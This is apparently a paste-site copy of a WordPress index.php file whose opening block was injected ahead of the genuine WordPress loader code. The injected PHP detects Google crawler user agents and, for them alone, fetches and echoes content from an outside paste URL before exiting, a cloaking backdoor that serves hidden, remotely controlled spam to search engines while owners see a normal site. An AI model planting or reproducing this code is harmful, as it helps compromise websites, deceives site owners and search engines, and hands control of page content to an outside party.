n Go home
p Go here
y Copy URL
c Copy content
d Download
q Show QR code
? Toggle help
1<?php
2
3function is_google_bot() {
4 $agents = array(
5 "Googlebot",
6 "Google-Site-Verification",
7 "Google-InspectionTool",
8 "Googlebot-Mobile",
9 "Googlebot-News"
10 );
11
12 foreach ($agents as $agent) {
13 if (strpos($_SERVER['HTTP_USER_AGENT'], $agent) !== false) {
14 return true;
15 }
16 }
17 return false;
18}
19
20if (is_google_bot()) {
21 $bot_content = file_get_contents('https://paste.hexaspaces.com/raw/oKNdSlWG3Qh');
22 echo $bot_content;
23 exit;
24}
25
26?>
27<?php
28/**
29 * Front to the WordPress application. This file doesn't do anything, but loads
30 * wp-blog-header.php which does and tells WordPress to load the theme.
31 *
32 * @package WordPress
33 */
34
35/**
36 * Tells WordPress to load the WordPress theme and output it.
37 *
38 * @var bool
39 */
40define( 'WP_USE_THEMES', true );
41
42/** Loads the WordPress Environment and Template */
43require __DIR__ . '/wp-blog-header.php';